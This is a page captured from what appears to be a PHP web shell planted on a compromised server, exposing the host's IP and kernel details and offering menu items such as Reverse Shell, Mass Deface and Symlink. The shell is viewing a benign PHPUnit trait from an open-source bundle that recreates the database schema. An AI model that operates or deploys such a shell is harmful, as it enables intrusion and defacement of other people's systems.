ヤミRoot VoidGate
User / IP
:
216.73.216.143
Host / Server
:
146.88.233.70 / dev.loger.cm
System
:
Linux hybrid1120.fr.ns.planethoster.net 3.10.0-957.21.2.el7.x86_64 #1 SMP Wed Jun 5 14:26:44 UTC 2019 x86_64
Command
|
Upload
|
Create
Mass Deface
|
Jumping
|
Symlink
|
Reverse Shell
Ping
|
Port Scan
|
DNS Lookup
|
Whois
|
Header
|
cURL
:
/
home
/
logercm
/
dev.loger.cm
/
vendor
/
hautelook
/
alice-bundle
/
src
/
PhpUnit
/
Viewing: RecreateDatabaseTrait.php
<?php /* * This file is part of the Hautelook\AliceBundle package. * * (c) Baldur Rensch <brensch@gmail.com> * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ declare(strict_types=1); namespace Hautelook\AliceBundle\PhpUnit; use Doctrine\ORM\Tools\SchemaTool; use Doctrine\ORM\Tools\ToolsException; /** * Erase and recreate database schema before each tests. (All existing data will be lost!). * * @author Gary PEGEOT <garypegeot@gmail.com> */ trait RecreateDatabaseTrait { use BaseDatabaseTrait; protected static function bootKernel(array $options = []) { static::ensureKernelTestCase(); $kernel = parent::bootKernel($options); static::buildSchema(); static::populateDatabase(); return $kernel; } protected static function buildSchema(): void { $container = static::$container ?? static::$kernel->getContainer(); $em = $container->get('doctrine')->getManager(static::$manager); $meta = $em->getMetadataFactory()->getAllMetadata(); if (!empty($meta)) { $tool = new SchemaTool($em); $tool->dropSchema($meta); try { $tool->createSchema($meta); } catch (ToolsException $e) { throw new \InvalidArgumentException("Database schema is not buildable: {$e->getMessage()}", $e->getCode(), $e); } } } }
Coded With 💗 by
0x6ick